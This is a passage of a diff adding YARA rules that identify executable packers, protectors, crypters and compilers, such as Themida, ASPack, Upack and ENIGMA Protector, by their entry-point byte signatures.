+		$0 = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA 73 8B CF 81 C2 96 44 EB 04 EB 02 CD 20 88 16 E8 02 00 00 00 44 A2 59 46 E8 01 00 00 00 AD 59 4B 80 C1 13 83 FB 00 75 B2 F7 D9 96 8F 80 4D 0C 4C 91 50 1C 0C 50 8A ?? ?? ?? 50 E9 34 16 50 4C 4C 0E 7E 9B 49 C6 32 02 3E 7E 7B 5E 8C C5 6B 50 3F 0E 0F 38 C8 95 18 D1 65 11 2C B8 87 28 C3 4C 0B 3C AC D9 2D 15 4E 8F 1C 40 4F 28 98 3E 10 C1 45 DB 8F 06 3F EC 48 61 4C 50 50 81 DF C3 20 34 84 10 10 0C 1F 68 DC FF 24 8C 4D 29 F5 1D 2C BF 74 CF F0 24 C0 08 2E 0C 0C 10 51 0C 91 10 10 81 16 D0 54 4B D7 42 C3 54 CB C9 4E}
+		$1 = {EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_v640__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) v6.4.0 -> Safenet"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V11V12_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1-V1.2-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2}
+		$1 = {60 E8 00 00 00 00 5D 83 ED 06 81}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HASP_HL_Protection_1X__Aladdin_
+{
+	meta:
+		description = "HASP HL Protection 1.X -> Aladdin"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v60_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v6.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_4992__Bloodshed_Software_
+{
+	meta:
+		description = "Dev-C++ 4.9.9.2 -> Bloodshed Software"
+	strings:
+		$0 = {57 68 ?? 0D 01 00 68 00 ?? ?? 00 E8 50 ?? FF FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 ?? ?? ?? 00}
+		$1 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D}
+		$2 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 ?? ?? 00 00 90 90 90 90 90 90 90}
+		$3 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _LGLZ_103b__104b_
+{
+	meta:
+		description = "LGLZ 1.03b - 1.04b"
+	strings:
+		$0 = {FC 1E 06 0E 8C C8 01 06 34 01 BA 00 00 03 C2 8B D8 05 00 00 8E DB 8E C0 33 F6 33 FF B9 08 00 F3 A5 4B 48 4A 79 EE 8E C3 8E D8 BE 46 00 AD 95 B2 10 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _Phoenix_Protector_v10v11__NTCorecom_
+{
+	meta:
+		description = "Phoenix Protector v1.0/v1.1 -> NTCore.com"
+	strings:
+		$0 = {02 6F ?? ?? ?? 0A 0A 06 8D ?? ?? ?? 01 0B 16 0C 38 36 00 00 00 02 08 6F ?? ?? ?? 0A 0D 09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C 08 07 8E 69 38 0B 00 00 00 28 ?? ?? ?? 0A 2A 38 EC FF FF FF 3F C0 FF FF FF 07 73 ?? ?? ?? 0A 38 E5 FF FF FF}
+		$1 = {02 6F ?? ?? ?? 0A 0A 06 8D ?? ?? ?? 01 0B 16 0C 38 36 00 00 00 02 08 6F ?? ?? ?? 0A 0D 09 06 08 59 61 D2 13 04 09 1E 63 08 61 D2 13 05 07 08 11 05 1E 62 11 04 60 D1 9D 08 17 58 0C 08 07 8E 69 38 0B 00 00 00 28 ?? ?? ?? 0A 2A 38 EC FF FF FF 3F C0 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PcShare__v40___
+{
+	meta:
+		description = "PcShare ÎļþÀ¦°óÆ÷ v4.0 -> ÎÞ¿É·ÇÒé"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1}
+		$1 = {55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VcasmProtector_10e__vcasm_
+{
+	meta:
+		description = "Vcasm-Protector 1.0e -> vcasm"
+	strings:
+		$0 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D}
+		$1 = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cue_70__80_
+{
+	meta:
+		description = "Microsoft Visual Cue 7.0 - 8.0"
+	strings:
+		$0 = {53 56 8B 44 24 18 0B C0 75 18 8B 4C 24 14 8B 44 24 10 33 D2 F7 F1 8B D8 8B 44 24 0C F7 F1 8B D3 EB 41 8B C8 8B 5C 24 14 8B 54 24 10 8B 44 24 0C D1 E9 D1 DB D1 EA D1 D8 0B C9 75 F4 F7 F3 8B F0 F7 64 24 18 8B C8 8B 44 24 14 F7 E6 03 D1 72 0E 3B 54 24 10 77}
+	condition:
+		$0 at entrypoint
+}
+rule _DrHalo_or_DrGenius_Palette_Graphics_format_
+{
+	meta:
+		description = "DrHalo or DrGenius Palette Graphics format"
+	strings:
+		$0 = {41 48 E3 00 00 00 0A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _LZEXE_090_
+{
+	meta:
+		description = "LZEXE 0.90"
+	strings:
+		$0 = {06 0E 1F 8B 0E 0C 00 8B F1 4E 89 F7 8C DB 03 1E 0A 00 8E C3 B4 00 31 ED FD AC 01 C5 AA E2 FA 8B 16 0E 00 8A C2 29 C5 8A C6 29 C5 39 D5 74 0C BA 91 01 B4 09 CD 21 B8 FF 4C CD 21 53 B8 53 00 50 CB 2E 8B 2E 08 00 8C DA 89 E8 3D 00 10 76 03 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_v124__cyclotron_
+{
+	meta:
+		description = "EmbedPE v1.24 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00}
+		$1 = {83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSLRH_v032a_fake_SVKP_111__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake SVKP 1.11) -> emadicius"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSCC_10_
+{
+	meta:
+		description = "MSCC 1.0"
+	strings:
+		$0 = {0E 07 BE 00 00 BF 00 01 B9 05 00 F3 A4 B9 64 02 BE 10 01 AC CC 98 03 D8 E2 F9 FA 53 50 58 4C 4C 5B 3B C3 5B FB 74 02 FA F4 1E 33 C0 8E D8 F7 16 05 00 EB 01 9A F7 16 05 00 1F 50 58 4C 4C 5B 3B C3 75 7A B9 00 00 BE 05 01 BF 05 01 B3 00 FE C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22004810V22005314__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2004.8.10-V2.2005.3.14 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_v10__v11_
+{
+	meta:
+		description = "Soft Defender v1.0 - v1.1"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Anslym_Crypter_
+{
+	meta:
+		description = "Anslym Crypter"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B}
+		$1 = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A 68 30 1C 05 10 A1 60 56 05 10 50 E8 68 47 FB FF 8B D8 85 DB 0F 84 B6 02 00 00 53 A1 60 56 05 10 50 E8 F2 48 FB FF 8B F0 85 F6 0F 84 A0 02 00 00 E8 F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CICompress_v10_
+{
+	meta:
+		description = "CICompress v1.0"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74}
+		$1 = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 35 F8 10 40 00 FF 15 34 10 40 00 FF 35 F8 10 40 00 FF 15 30 10 40 00 68 00 40 00 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 15 3C 10 40 00 6A 00 FF 15 28 10 40 00 60 33 DB 33 C9 E8 7F 00 00 00 73 0A B1 08 E8 82 00 00 00 AA EB EF E8 6E 00 00 00 73 14 B1 04 E8 71 00 00 00 3C 00 74 EB 56 8B F7 2B F0 A4 5E EB D4 33 ED E8 51 00 00 00 72 10 B1 02 E8 54 00 00 00 3C 00 74 3B 8B E8 C1 C5 08 B1 08 E8 44 00 00 00 0B C5 50 33 ED E8 2E 00 00 00 72 0C B1 02 E8 31 00 00 00 8B E8 C1 C5 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _USSR_V031__SpiritST_
+{
+	meta:
+		description = "USSR V0.31 -> SpiritST"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_v031_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.31 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31}
+		$1 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RSCs_Process_Patcher_151_
+{
+	meta:
+		description = "R!SC's Process Patcher 1.5.1"
+	strings:
+		$0 = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v102__v104__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.02 - v1.04 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+		$1 = {60 E8 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SCRAMBLE_02_beta3_
+{
+	meta:
+		description = "SCRAMBLE 0.2 beta3"
+	strings:
+		$0 = {60 9C FC 00 00 01 00 00 01 BA 13 00 01 55 01 2A D2 FF E7 B9 00 00 57 51 F3 A4 59 5E 03 F1 05 00 B4 00 00 31 04 E2 FA 9D 61 68 00 01 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXShit_01__500mhz_
+{
+	meta:
+		description = "UPX-Shit 0.1 -> 500mhz"
+	strings:
+		$0 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 01 ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+		$1 = {E8 00 00 00 00 5E 83 C6 14 AD 89 C7 AD 89 C1 AD 30 07 47 E2 FB AD FF E0 C3 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 55 50 58 2D 53 68 69 74 20 76 30 2E 31 20 2D 20 77 77 77 2E 62 6C 61 63 6B 6C 6F 67 69 63 2E 6E 65 74 20 2D 20 63 6F 64 65 20 62 79}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ThemidaWinLicense_V10XV17X_DLL__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.0.X-V1.7.X DLL -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? ?? ?? ?? 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+		$1 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? ?? ?? ?? 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 ?? 89 48 01 61 E9}
+		$2 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? ?? ?? ?? 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 ?? 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ENIGMA_Protector_V11_CracKed_By_shoooo__fly__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1 CracKed By: shoooo & fly -> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 C5 FA 81}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v096_
+{
+	meta:
+		description = "tElock v0.96"
+	strings:
+		$0 = {E9 53 00 FF FD FF FB FF F9 FF BC 03 00 8B E5 4C 4C C3}
+		$1 = {E9 59 E4 FF FF 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Nakedbind_v10__nakedcrew_
+{
+	meta:
+		description = "Nakedbind v1.0 -> nakedcrew"
+	strings:
+		$0 = {64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B 4D 5A 74 08 81 EB 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2001_
+{
+	meta:
+		description = "ASPack v2.001"
+	strings:
+		$0 = {60 E8 72 05 00 00 EB 33 87 DB 90 00}
+		$1 = {60 E8 72 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ARM_Protector_02_SMoKE_
+{
+	meta:
+		description = "ARM Protector 0.2-> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_11114__11115__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.1.1.14 - 1.1.1.15 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 3F 1D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Hyings_PEArmor_075exe__Hying_CCG_
+{
+	meta:
+		description = "Hying's PE-Armor 0.75.exe -> Hying [CCG"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00 00 00 00 84 ?? ?? ?? 74 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED D7 00 00 00 8D B5 EE 00 00 00 55 56 81 C5 ?? ?? 00 00 55 C3}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Enigma_Protector_V1X__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector V1.X -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 00 00 52 65 67 43 6C 6F 73 65 4B 65 79 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 46 6F 6E 74 41 00 00 00 53 68 65 6C 6C 45 78 65 63 75 74 65 41 00 00}
+	condition:
+		$0
+}
+rule _LTC_v13_
+{
+	meta:
+		description = "LTC v1.3"
+	strings:
+		$0 = {60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB}
+		$1 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_WATCOM_CCpp_EXE_
+{
+	meta:
+		description = "PseudoSigner 0.2 [WATCOM C/C++ EXE"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41}
+	condition:
+		$0 at entrypoint
+}
+rule _OptLink_Pass_1_
+{
+	meta:
+		description = "OptLink Pass 1"
+	strings:
+		$0 = {87 C0 55 56 57 52 51 53 50 9C FC 8C DA 83 C2 10 16 07 0E 1F 01 16 4E 01 01 16 52 01 33 F6 33 FF B9 AD 00 F3 A5 06 B8 30 00 50 BD 01 00 CB FD 8B 1E 54 01 B9 00 10 3B D9 77 02 8B CB 2B D9 8C D8 2B C1 8E D8 8C C0 2B C1 8E C0 03 C9 03 C9 03 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_028__0399_relocated_image_base__Delphi_NET_DLL_or_something_else__Dwing_
+{
+	meta:
+		description = "Upack 0.28 - 0.399 (relocated image base - Delphi, .NET, DLL or something else -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_2501__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.501 -> Jitit"
+	strings:
+		$0 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A8 1A 00 00 B9 6D 1A 00 00 BA 21 1B 00 00 BE 00 10 00 00 BF C0 53 00 00 BD F0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
